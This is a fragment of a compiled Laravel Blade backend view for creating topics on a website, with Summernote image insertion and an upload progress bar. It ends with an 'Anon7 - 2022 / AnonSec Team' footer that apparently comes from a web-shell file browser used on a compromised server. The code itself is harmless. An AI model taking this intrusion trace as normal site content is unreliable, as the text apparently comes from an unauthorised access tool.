                        $('.summernote_tr').summernote("insertNode", image[0]);
                    }
                }
            });
        }

        // update progress bar
        function progressHandlingFunction(e){
            if(e.lengthComputable){
                $('progress').attr({value:e.loaded, max:e.total});
                // reset progress on complete
                if (e.loaded == e.total) {
                    $('progress').attr('value','0.0');
                }
            }
        }
    </script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('backEnd.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /webler/tggtd.org/core/resources/views/backEnd/topics/create.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team